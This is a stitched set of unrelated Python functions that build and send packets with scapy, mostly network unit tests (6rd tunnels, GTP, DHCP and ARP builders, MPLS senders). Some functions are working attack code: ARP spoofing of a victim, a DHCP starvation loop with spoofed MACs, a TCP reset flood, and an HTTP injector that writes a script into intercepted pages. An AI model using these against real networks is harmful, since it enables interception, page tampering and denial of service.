def main(): iface = get_if() pkt = Ether(src="08:00:00:00:01:01", dst="ff:ff:ff:ff:ff:ff") / IP( dst="10.0.2.2", options=IPOption_MRI(count=0, swtraces=[])) / TCP( dport=1234, sport=random.randint(49152,65535)) / "111111111111111111111111111111111111111111111111111111111111111111111111111111" \ "111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111" pkt2 = Ether(src="08:00:00:00:01:01", dst="ff:ff:ff:ff:ff:ff") / IP( dst="10.0.2.2", options=IPOption_MRI(count=0, swtraces=[])) / TCP( dport=1234, sport=random.randint(49152, 65535)) / "2222" #t=float(sys.argv[1]) list_delta = [0.05, 0.058, 0.065, 0.074, 0.087, 0.1, 0.13] pkt.show2() try: for l in list_delta: sendp(pkt2) for i in range(500): sendp(pkt, iface=iface) sleep(l) sleep(10) sendp(pkt2) except KeyboardInterrupt: raise
def test_6rd_ip4_to_ip6_sec_check(self): """ ip4 -> ip6 (decap) security check 6rd test """ rv = self.vapi.ipip_6rd_add_tunnel(0, inet_pton(AF_INET6, '2002::'), 16, 0, inet_pton(AF_INET, '0.0.0.0'), 0, self.pg0.local_ip4n, True) self.tunnel_index = rv.sw_if_index self.vapi.cli("show ip6 fib") p_ip6 = (IPv6(src="2002:AC10:0202::1", dst=self.pg1.remote_ip6) / UDP(sport=1234, dport=1234)) p_ip6_fail = (IPv6(src="2002:DEAD:0202::1", dst=self.pg1.remote_ip6) / UDP(sport=1234, dport=1234)) p = (Ether(src=self.pg0.remote_mac, dst=self.pg0.local_mac) / IP(src=self.pg1.remote_ip4, dst=self.pg0.local_ip4) / p_ip6) p_reply = p_ip6 rx = self.send_and_expect(self.pg0, p * 10, self.pg1) for p in rx: self.validate_4in6(p, p_reply) p = (Ether(src=self.pg0.remote_mac, dst=self.pg0.local_mac) / IP(src=self.pg1.remote_ip4, dst=self.pg0.local_ip4) / p_ip6_fail) rx = self.send_and_assert_no_replies(self.pg0, p * 10) self.vapi.ipip_6rd_del_tunnel(self.tunnel_index)
def test_6rd_ip4_to_ip6_sec_check(self): """ip4 -> ip6 (decap) security check 6rd test""" rv = self.vapi.ipip_6rd_add_tunnel( ip6_table_id=0, ip4_table_id=0, ip6_prefix="2002::/16", ip4_prefix="0.0.0.0/0", ip4_src=self.pg0.local_ip4, security_check=True, ) self.tunnel_index = rv.sw_if_index self.vapi.cli("show ip6 fib") p_ip6 = IPv6(src="2002:AC10:0202::1", dst=self.pg1.remote_ip6) / UDP( sport=1234, dport=1234) p_ip6_fail = IPv6(src="2002:DEAD:0202::1", dst=self.pg1.remote_ip6) / UDP(sport=1234, dport=1234) p = (Ether(src=self.pg0.remote_mac, dst=self.pg0.local_mac) / IP(src=self.pg1.remote_ip4, dst=self.pg0.local_ip4) / p_ip6) p_reply = p_ip6 rx = self.send_and_expect(self.pg0, p * 10, self.pg1) for p in rx: self.validate_4in6(p, p_reply) p = (Ether(src=self.pg0.remote_mac, dst=self.pg0.local_mac) / IP(src=self.pg1.remote_ip4, dst=self.pg0.local_ip4) / p_ip6_fail) rx = self.send_and_assert_no_replies(self.pg0, p * 10) self.vapi.ipip_6rd_del_tunnel(self.tunnel_index)
def main(): iface = get_if() pkt = Ether(src="08:00:00:00:01:01", dst="ff:ff:ff:ff:ff:ff") / IP( dst="10.0.5.5", options=IPOption_MRI(count=0, swtraces=[])) / TCP( dport=1234, sport=random.randint(49152,65535)) / "111111111111111111111111111111111111111111111111111111111111111111111111111111" \ "11111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111" \ "1111111111111111111111111111111111111111111111111111111111111111" \ "11111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111" pkt2 = Ether(src="08:00:00:00:01:01", dst="ff:ff:ff:ff:ff:ff") / IP( dst="10.0.2.2", options=IPOption_MRI(count=0, swtraces=[])) / TCP( dport=1234, sport=random.randint(49152, 65535)) / "2222" s = int(sys.argv[1]) t = 967 * 8 / (s * 1000) pkt.show2() try: for i in range(500): sendp(pkt, iface=iface) sleep(t) except KeyboardInterrupt: raise
def vlan_send_packet(self, outer_vid, outer_tpid=0x8100, inner_vid=-1, inner_tpid=-1): """ if vid is -1, it means send pakcage not include vlan id. """ self.tpid_ori_file = "/tmp/tpid_ori.pcap" self.tpid_new_file = "/tmp/tpid_new.pcap" self.tester.send_expect("rm -rf /tmp/tpid_ori.pcap", "# ") self.tester.send_expect("rm -rf /tmp/tpid_new.pcap", "# ") # The package stream : testTxPort->dutRxPort->dutTxport->testRxPort port = self.tester.get_local_port(dutRxPortId) self.txItf = self.tester.get_interface(port) self.smac = self.tester.get_mac(port) port = self.tester.get_local_port(dutTxPortId) self.rxItf = self.tester.get_interface(port) # the package dect mac must is dut tx port id when the port promisc is # off self.dmac = self.dut.get_mac_address(dutRxPortId) self.inst = sniff_packets(self.rxItf) pkt = [] if outer_vid < 0 or outer_tpid <= 0: pkt = [ Ether(dst="%s" % self.dmac, src="%s" % self.smac) / IP(len=46) ] wrpcap(self.tpid_new_file, pkt) else: pkt = [ Ether(dst="%s" % self.dmac, src="%s" % self.smac) / Dot1Q(vlan=1) / Dot1Q(vlan=2) / IP(len=46) ] wrpcap(self.tpid_ori_file, pkt) fmt = '1/1 "%02x"' out = self.tester.send_expect( "hexdump -ve '%s' '%s'" % (fmt, self.tpid_ori_file), "# ") if (inner_vid < 0 or inner_tpid <= 0): replace = str("%04x" % outer_tpid) + str("%04x" % outer_vid) else: replace = str("%04x" % outer_tpid) + str( "%04x" % outer_vid) + str("%04x" % inner_tpid) + str( "%04x" % inner_vid) fmt = '1/1 "%02x"' out = self.tester.send_expect( "hexdump -ve '%s' '%s' |sed 's/8100000181000002/%s/' |xxd -r -p > '%s'" % (fmt, self.tpid_ori_file, replace, self.tpid_new_file), "# ") self.tester.send_expect("scapy", ">>> ") self.tester.send_expect("pkt=rdpcap('%s')" % self.tpid_new_file, ">>> ") self.tester.send_expect("sendp(pkt, iface='%s')" % self.txItf, ">>> ") self.tester.send_expect("quit()", "# ")
def test_6rd_bgp_tunnel(self): """ 6rd BGP tunnel """ rv = self.vapi.ipip_6rd_add_tunnel(ip6_table_id=0, ip4_table_id=0, ip6_prefix='2002::/16', ip4_prefix='0.0.0.0/0', ip4_src=self.pg0.local_ip4, security_check=False) self.tunnel_index = rv.sw_if_index default_route = VppIpRoute( self, "DEAD::", 16, [ VppRoutePath("2002:0808:0808::", self.tunnel_index, proto=DpoProto.DPO_PROTO_IP6) ], is_ip6=1) default_route.add_vpp_config() ip4_route = VppIpRoute(self, "8.0.0.0", 8, [VppRoutePath(self.pg1.remote_ip4, 0xFFFFFFFF)]) ip4_route.add_vpp_config() # Via recursive route 6 -> 4 p = (Ether(src=self.pg0.remote_mac, dst=self.pg0.local_mac) / IPv6(src="1::1", dst="DEAD:BEEF::1") / UDP(sport=1234, dport=1234)) p_reply = (IP(src=self.pg0.local_ip4, dst="8.8.8.8", proto='ipv6') / IPv6(src='1::1', dst='DEAD:BEEF::1', nh='UDP')) rx = self.send_and_expect(self.pg0, p * 10, self.pg1) for p in rx: self.validate_6in4(p, p_reply) # Via recursive route 4 -> 6 (Security check must be disabled) p_ip6 = (IPv6(src="DEAD:BEEF::1", dst=self.pg1.remote_ip6) / UDP(sport=1234, dport=1234)) p = (Ether(src=self.pg0.remote_mac, dst=self.pg0.local_mac) / IP(src="8.8.8.8", dst=self.pg0.local_ip4) / p_ip6) p_reply = p_ip6 rx = self.send_and_expect(self.pg0, p * 10, self.pg1) for p in rx: self.validate_4in6(p, p_reply) ip4_route.remove_vpp_config() default_route.remove_vpp_config() self.vapi.ipip_6rd_del_tunnel(self.tunnel_index)
def runTest(self): inner_udp = UDP(sport=5060, dport=5061) / ("\xab" * 128) pkt = Ether(src=self.DMAC_1, dst=self.SWITCH_MAC_1) / \ IP(src=self.S1U_ENB_IPV4, dst=self.S1U_SGW_IPV4) / \ UDP(sport=2152, dport=2152) / \ make_gtp(20 + len(inner_udp), 0xeeffc0f0) / \ IP(src=self.END_POINT_IPV4, dst=self.S1U_ENB_IPV4) / \ inner_udp exp_pkt = Ether(src=self.SWITCH_MAC_2, dst=self.DMAC_2) / \ IP(src=self.END_POINT_IPV4, dst=self.S1U_ENB_IPV4, ttl=63) / \ inner_udp testutils.send_packet(self, self.port1, str(pkt)) testutils.verify_packet(self, exp_pkt, self.port2)
def runTest(self): inner_udp = UDP(sport=5061, dport=5060) / ("\xab" * 128) pkt = Ether(src=self.DMAC_2, dst=self.SWITCH_MAC_2) / \ IP(src=self.S1U_ENB_IPV4, dst=self.END_POINT_IPV4) / \ inner_udp exp_pkt = Ether(src=self.SWITCH_MAC_1, dst=self.DMAC_1) / \ IP(tos=0, id=0x1513, flags=0, frag=0, src=self.S1U_SGW_IPV4, dst=self.S1U_ENB_IPV4) / \ UDP(sport=2152, dport=2152, chksum=0) / \ make_gtp(20 + len(inner_udp), 1) / \ IP(src=self.S1U_ENB_IPV4, dst=self.END_POINT_IPV4, ttl=63) / \ inner_udp testutils.send_packet(self, self.port2, str(pkt)) testutils.verify_packet(self, exp_pkt, self.port1)
def process_packet(packet): scapy_packet = scapy.IP(packet.get_payload()) if scapy.Raw in scapy_packet and scapy.TCP in scapy_packet: load = scapy_packet[scapy.Raw].load if scapy_packet[scapy.TCP].dport == 80: print("[+] Request") load = re.sub("Content-Encoding:.*?\\r\\n", "", load) load = re.sub("Accept-Encoding:.*?\\r\\n", "", load) elif scapy_packet[scapy.TCP].sport == 80: print("[+] Response") injection_code = '<script>alert('test');</script>' load = load.replace("</body>", injection_code + "</body>") content_length_search = re.search("(?:Content-Length:\s)(\d*)", load) print(scapy_packet.show()) if content_length_search and "text/html" in load: content_length = content_length_search.group(1) new_content_length = int(content_length) + len(injection_code) load = load.replace(str(content_length), str(new_content_length)) if load != scapy_packet[scapy.Raw].load: new_packet = set_load(scapy_packet, load) packet.set_payload(str(new_packet)) packet.accept()
def sono_h(): #print("entro") t = threading.currentThread() while getattr(t, "do_run", True): #print("arpizzo h") sendp(Ether(dst=gateway_mac,src=victim_mac)/IP(src=str(RandIP()),dst=str(RandIP()))/TCP(sport=2321,dport=23423,flags='R',options=[('Timestamp',(0,0))]),verbose=0 ) time.sleep(0.1)
def create_tcp_ipv4_frame( self, ip_id, src_ip_addr, dst_ip_addr, frame_size, src_mac_addr='00:00:0A:00:0B:00', dst_mac_addr='00:00:0A:00:0A:00'): payload_size = frame_size - HEADER_SIZE['eth'] - HEADER_SIZE['ip'] -\ HEADER_SIZE['tcp'] - \ len(TestIPPipeline.payload_watermark) if payload_size < 0: payload_size = 0 frame = Ether() / IP() / TCP(flags="") / (TestIPPipeline.payload_watermark + "X" * payload_size) frame[Ether].src = src_mac_addr frame[Ether].dst = dst_mac_addr frame[IP].src = src_ip_addr frame[IP].dst = dst_ip_addr frame[IP].id = ip_id # TCP ports always 0 frame[TCP].sport = 0 frame[TCP].dport = 0 return frame
def generate_udp_packet(ip_src: str = "192.168.64.32", ip_dst: str = "192.168.64.48", mac_src: str = "56:6D:D9:BC:70:1C", ttl: int = 64, mac_dst: str = "F4:2B:95:B3:0E:1A", port_src: int = 1337, port_dst: int = 6442, payload: str = ""): """ Builds an UDP packet with the values specified by the caller. :param ip_src: the source IP address of the IP header :param ip_dst the destination IP address of the IP header :param mac_src: the source MAC address of the MAC header :param ttl: the ttl value of the packet :param mac_dst: the destination MAC address of the MAC header :param port_src: the source port of the UDP header :param port_dst: the destination port of the UDP header :param payload: the payload of the packet :return: the corresponding UDP packet """ ether = Ether(src=mac_src, dst=mac_dst) ip = IP(src=ip_src, dst=ip_dst, ttl=ttl) udp = UDP(sport=port_src, dport=port_dst) packet = ether / ip / udp / Raw(load=payload) return packet
def send_packet(et_src, et_dst, content_name, chunk_num, ip_src, ip_proto=150, mpls_ttl=10): ether = Ether(src=et_src, dst=et_dst) label = hashlib.sha256() label.update(content_name.encode()) name_bytes = label.digest() mpls_label = name_bytes[0]*4096 + name_bytes[1]*16 + (name_bytes[2]>>4)#first 20 bits mpls = MPLS(label=mpls_label, ttl=mpls_ttl) # name = ndn.Name(ndn.Name.Component(content_name)) # name.appendSegment(chunk_num) # interest = ndn.Interest(name) # interest.setInterestLifetimeMilliseconds(INTEREST_LIFETIME) # data=interest.wireEncode().buf().tobytes() #creating Interest packet data=encode_in_2bytes(content_name) data = data + encode_in_2bytes(str(chunk_num)) ip = IP(src=ip_src, proto=ip_proto) packet = ether / mpls / ip / data.decode() packet.show() sendp(packet)
def test_6rd_ip4_to_ip6_vrf(self): """ ip4 -> ip6 (decap) 6rd VRF test """ rv = self.vapi.ipip_6rd_add_tunnel(20, inet_pton(AF_INET6, '2002::'), 16, 10, inet_pton(AF_INET, '0.0.0.0'), 0, self.pg2.local_ip4n, True) self.tunnel_index = rv.sw_if_index rv = self.vapi.ipip_6rd_del_tunnel(rv.sw_if_index) rv = self.vapi.ipip_6rd_add_tunnel(20, inet_pton(AF_INET6, '2002::'), 16, 10, inet_pton(AF_INET, '0.0.0.0'), 0, self.pg2.local_ip4n, True) self.tunnel_index = rv.sw_if_index self.vapi.sw_interface_set_table(self.tunnel_index, 1, 20) p_ip6 = (IPv6(src="2002:AC10:0402::1", dst=self.pg3.remote_ip6) / UDP(sport=1234, dport=1234)) p = (Ether(src=self.pg2.remote_mac, dst=self.pg2.local_mac) / IP(src=self.pg3.remote_ip4, dst=self.pg2.local_ip4) / p_ip6) p_reply = p_ip6 rx = self.send_and_expect(self.pg2, p * 10, self.pg3) for p in rx: self.validate_4in6(p, p_reply) self.vapi.sw_interface_set_table(self.tunnel_index, 1, 0) self.vapi.ipip_6rd_del_tunnel(self.tunnel_index)
def callback(data): #print data.summary() ip = IP(src="10.0.0.13", dst="10.0.0.11") pkt = Ether() / ip / UDP(sport=1234, dport=5000) / Raw(load="CIAO") #print pkt.summary() sleep(0.1) sendp(pkt, realtime=True)
def callback(data): ip = data[IP] ip.dst = "10.0.0.11" # Send to B del ip.chksum pkt = Ether() / IP(dst="10.0.0.11") / UDP() #pkt.show() sendp(pkt, realtime=True)
def test_6rd_ip4_to_ip6_vrf(self): """ ip4 -> ip6 (decap) 6rd VRF test """ rv = self.vapi.ipip_6rd_add_tunnel(ip6_table_id=20, ip4_table_id=10, ip6_prefix='2002::/16', ip4_prefix='0.0.0.0/0', ip4_src=self.pg2.local_ip4, security_check=True) self.tunnel_index = rv.sw_if_index rv = self.vapi.ipip_6rd_del_tunnel(rv.sw_if_index) rv = self.vapi.ipip_6rd_add_tunnel(ip6_table_id=20, ip4_table_id=10, ip6_prefix='2002::/16', ip4_prefix='0.0.0.0/0', ip4_src=self.pg2.local_ip4, security_check=True) self.tunnel_index = rv.sw_if_index self.vapi.sw_interface_set_table(self.tunnel_index, 1, 20) p_ip6 = (IPv6(src="2002:AC10:0402::1", dst=self.pg3.remote_ip6) / UDP(sport=1234, dport=1234)) p = (Ether(src=self.pg2.remote_mac, dst=self.pg2.local_mac) / IP(src=self.pg3.remote_ip4, dst=self.pg2.local_ip4) / p_ip6) p_reply = p_ip6 rx = self.send_and_expect(self.pg2, p * 10, self.pg3) for p in rx: self.validate_4in6(p, p_reply) self.vapi.sw_interface_set_table(self.tunnel_index, 1, 0) self.vapi.ipip_6rd_del_tunnel(self.tunnel_index)
def send_register_packet(self, content_name, src_ip): ether = Ether(src=self.CACHE_IN_ETH, dst=self.CONTROLLER_ETH) ip = IP(src=content_name, dst=src_ip, proto=self.REG_PROTO) data = "register" packet = ether / ip / data #packet.show() sendp(packet)
def make_dhcp_request(self, my_ip_address, server_id, xid): """ Creates a DHCPREQUEST packet using scapy Parameters --------- my_ip_address : str the IP address assigned by the DHCP Server server_id : str the DHCP Server Identification xid : str the DHCP Transaction id Returns ------- Packet A scapy DHCPREQUEST Packet """ ethernet = Ether(src=self.mac_address, dst="ff:ff:ff:ff:ff:ff") ip = IP(src="0.0.0.0", dst="255.255.255.255") udp = UDP(sport=68, dport=67) bootp = BOOTP(chaddr=self.mac_address_raw, xid=xid) dhcp = DHCP(options=[("message-type", "request"), ("server_id", server_id), ("requested_addr", my_ip_address), ("hostname", self.hostname), "end"]) dhcp_request = ethernet / ip / udp / bootp / dhcp return dhcp_request
def create_packet(self, data, content_id, et_src, ip_proto=DATA_PROTO): #print('begin creating packet, et_src:'+str(et_src)+', ip_src: '+str(ip_src)) ether = Ether(src=et_src) #, dst=et_dst) ip = IP(src=content_id, dst='127.0.0.1', proto=ip_proto, ttl=0, tos=0) packet = ether / ip / data #packet.show() return packet
def get_mac(ip_1): print("[\033[32m+\033[00m] Getting mac address") arping = Ether(dst = ETHER_BROADCAST) / ARP(pdst = ip_1) os.write(1, "[\033[32m+\033[00m] ") rep, norep = srp(arping, timeout = 2) for snd, rcv in rep: return rcv.sprintf(r"%Ether.src%")
def send_discover2(self): print "" print "Starting Endless Starvation, Press e to exit" print "" packet_number = 0 while True: for i in range(255): if keyboard.is_pressed('e'): print "\nEndless Starvation Ended." + str(packet_number) + " Discover Packets sent" print "Close terminal to exit properly" sys.exit() # Generate transaction id transaction_id = random.randint(1, 900000000) # Generate fake CHADDR spoofed_chaddr = str(RandMAC()) while spoofed_chaddr in spoofed_chaddr_list: print "Duplicate SPOOF CHADDR detected, generating a new one" spoofed_chaddr = str(RandMAC()) spoofed_chaddr_list.append(spoofed_chaddr) # Create discover packet, specifying source mac to bypass port security discover_packet = Ether(src=source_mac,dst="ff:ff:ff:ff:ff:ff") discover_packet /= IP(src="0.0.0.0", dst="255.255.255.255") discover_packet /= UDP(sport=68, dport=67) discover_packet /= BOOTP(chaddr=spoofed_chaddr, xid=transaction_id) discover_packet /= DHCP(options=[("message-type", "discover"), "end"]) sendp(discover_packet, iface=interface, verbose=0) packet_number += 1 sleep(0.01)
def test_6rd_ip4_to_ip6(self): """ ip4 -> ip6 (decap) 6rd test """ rv = self.vapi.ipip_6rd_add_tunnel(0, inet_pton(AF_INET6, '2002::'), 16, 0, inet_pton(AF_INET, '0.0.0.0'), 0, self.pg0.local_ip4n, True) self.tunnel_index = rv.sw_if_index rv = self.vapi.ipip_6rd_del_tunnel(rv.sw_if_index) rv = self.vapi.ipip_6rd_add_tunnel(0, inet_pton(AF_INET6, '2002::'), 16, 0, inet_pton(AF_INET, '0.0.0.0'), 0, self.pg0.local_ip4n, True) self.tunnel_index = rv.sw_if_index p_ip6 = (IPv6(src="2002:AC10:0202::1", dst=self.pg1.remote_ip6) / UDP(sport=1234, dport=1234)) p = (Ether(src=self.pg0.remote_mac, dst=self.pg0.local_mac) / IP(src=self.pg1.remote_ip4, dst=self.pg0.local_ip4) / p_ip6) p_reply = p_ip6 rx = self.send_and_expect(self.pg0, p * 10, self.pg1) for p in rx: self.validate_4in6(p, p_reply) self.vapi.ipip_6rd_del_tunnel(self.tunnel_index)
def packet_analyzer(self, packet): # Check for DHCP packet if DHCP in packet: # Check for Offer message if packet[DHCP].options[0][1] == 2: server_ip = packet[IP].src client_mac = packet[BOOTP].chaddr offered_ip = packet[BOOTP].yiaddr transaction_id = packet[BOOTP].xid # Create request packet, specifying source mac to bypass port security request_packet = Ether(src=source_mac,dst="ff:ff:ff:ff:ff:ff") request_packet /= IP(src="0.0.0.0", dst="255.255.255.255") request_packet /= UDP(sport=68, dport=67) request_packet /= BOOTP(chaddr=client_mac, xid=transaction_id) request_packet /= DHCP(options=[("message-type", "request"), ("server_id", server_ip), ("requested_addr", offered_ip), "end"]) sendp(request_packet, iface=interface, verbose=0) # Check for ACK message elif packet[DHCP].options[0][1] == 5: client_mac = packet[BOOTP].chaddr leased_ip = packet[BOOTP].yiaddr leased_ip_list.append(leased_ip) print leased_ip + " has been leased to " + client_mac + ". Total IPs leased: " + str(len(leased_ip_list)) # Check for NAK message elif packet[DHCP].options[0][1] == 6: print " NAK Received"
def test_6rd_ip4_to_ip6_multiple(self): """ ip4 -> ip6 (decap) 6rd test """ self.tunnel_index = [] rv = self.vapi.ipip_6rd_add_tunnel(0, inet_pton(AF_INET6, '2002::'), 16, 0, inet_pton(AF_INET, '0.0.0.0'), 0, self.pg0.local_ip4n, True) self.tunnel_index.append(rv.sw_if_index) rv = self.vapi.ipip_6rd_add_tunnel(0, inet_pton(AF_INET6, '2003::'), 16, 0, inet_pton(AF_INET, '0.0.0.0'), 0, self.pg1.local_ip4n, True) self.tunnel_index.append(rv.sw_if_index) self.vapi.cli("show ip6 fib") p_ether = Ether(src=self.pg0.remote_mac, dst=self.pg0.local_mac) p_ip4 = IP(src=self.pg1.remote_ip4, dst=self.pg0.local_ip4) p_ip6_1 = (IPv6(src="2002:AC10:0202::1", dst=self.pg1.remote_ip6) / UDP(sport=1234, dport=1234)) p_ip6_2 = (IPv6(src="2003:AC10:0202::1", dst=self.pg1.remote_ip6) / UDP(sport=1234, dport=1234)) p = (p_ether / p_ip4 / p_ip6_1) rx = self.send_and_expect(self.pg0, p * 10, self.pg1) for p in rx: self.validate_4in6(p, p_ip6_1) p = (p_ether / p_ip4 / p_ip6_2) rx = self.send_and_expect(self.pg0, p * 10, self.pg1) for p in rx: self.validate_4in6(p, p_ip6_2) for i in self.tunnel_index: self.vapi.ipip_6rd_del_tunnel(i)
def make_arp_request(self, ip_src, ip_dst): """ Creates an ARP REQUEST packet Parameters ---------- ip_src : str source IP address of the ARP REQUEST ip_dst : str destination IP address of the ARP REQUEST Returns ------- Packet A scapy ARP REQUEST Packet """ ether = Ether(dst="ff:ff:ff:ff:ff:ff", src=self.mac_address) arp = ARP(op=1, hwsrc=self.mac_address, psrc=ip_src, hwdst="ff:ff:ff:ff:ff:ff", pdst=ip_dst) pkt = ether / arp return pkt
def test_6rd_ip6_to_ip4(self): """ ip6 -> ip4 (encap) 6rd test """ p_ether = Ether(src=self.pg0.remote_mac, dst=self.pg0.local_mac) p_ip6 = IPv6(src="1::1", dst="2002:AC10:0202::1", nh='UDP') rv = self.vapi.ipip_6rd_add_tunnel(0, inet_pton(AF_INET6, '2002::'), 16, 0, inet_pton(AF_INET, '0.0.0.0'), 0, self.pg0.local_ip4n, True) self.tunnel_index = rv.sw_if_index self.vapi.cli("show ip6 fib") p_payload = UDP(sport=1234, dport=1234) p = (p_ether / p_ip6 / p_payload) p_reply = ( IP(src=self.pg0.local_ip4, dst=self.pg1.remote_ip4, proto='ipv6') / p_ip6) rx = self.send_and_expect(self.pg0, p * 10, self.pg1) for p in rx: self.validate_6in4(p, p_reply) # MTU tests (default is 1480) plen = 1481 - 40 - 8 p_ip6 = IPv6(src="1::1", dst="2002:AC10:0202::1") p_payload = UDP(sport=1234, dport=1234) / Raw(self.payload(plen)) p = (p_ether / p_ip6 / p_payload) p_reply = ( IP(src=self.pg0.local_ip4, dst=self.pg1.remote_ip4, proto='ipv6') / p_ip6) rx = self.send_and_assert_no_replies(self.pg0, p * 10) self.vapi.ipip_6rd_del_tunnel(self.tunnel_index)
def arp_spoof(): print("Arp spoofing unidirezionale avviato") while 1: sendp(Ether(dst=victim_mac, src=my_mac) / ARP(op=2, psrc=gateway_ip, pdst=victim_ip, hwdst=victim_mac), verbose=0) time.sleep(1)
def snort_pkt_values(pkt): """ """ res = {} eth = Ether(pkt.encode('latin1')[0:300]) if hasattr(eth, 'src') and hasattr(eth, 'dst'): res['sourceMacAddress'] = eth.src res['destinationMacAddress'] = eth.dst if 'IP' in eth: ip = eth.payload res['sourceIPv4Address'] = ip.src res['destinationIPv4Address'] = ip.dst if 'TCP' in ip: tcp = ip.payload res['protocolIdentifier'] = "tcp" res['sourceTransportPort'] = tcp.sport res['destinationTransportPort'] = tcp.dport elif 'UDP' in ip: udp = ip.payload res['protocolIdentifier'] = "udp" res['sourceTransportPort'] = udp.sport res['destinationTransportPort'] = udp.dport elif 'ICMP' in ip: icmp = ip.payload res['protocolIdentifier'] = "icmp" res['sourceTransportPort'] = icmp.type res['destinationTransportPort'] = icmp.code return res
def send_packet(self, req_id, et_src, et_dst, content_name, chunk_num, flow_num, ip_src): # req_id, et_src, et_dst, content_name, chunk_num, flow_num, ip_src = args[0], args[1],args[2],args[3],args[4],args[5],args[6] ip_proto = 150 mpls_ttl = 10 ether = Ether(src=et_src, dst=et_dst) label = hashlib.sha256() label.update(content_name.encode()) name_bytes = label.digest() mpls_label = name_bytes[0] * 4096 + name_bytes[1] * 16 + ( name_bytes[2] >> 4) #first 20 bits # print('content name ' ,content_name, 'mpls label:', mpls_label) mpls = MPLS(label=mpls_label, ttl=mpls_ttl) #creating Interest packet data = self.encode_in_2bytes(content_name) data = data + self.encode_in_2bytes(str(chunk_num)) data = data + (req_id).encode('utf-8') ip = IP(src=ip_src, proto=ip_proto) packet = ether / mpls / ip / data.decode() self.recieved_data[content_name][flow_num][chunk_num][0].start() self.slog_delay_int.save(content_name, chunk_num, str(req_id)) # print("sending packet " + str(flow_num) + "...") sendp(packet, verbose=False)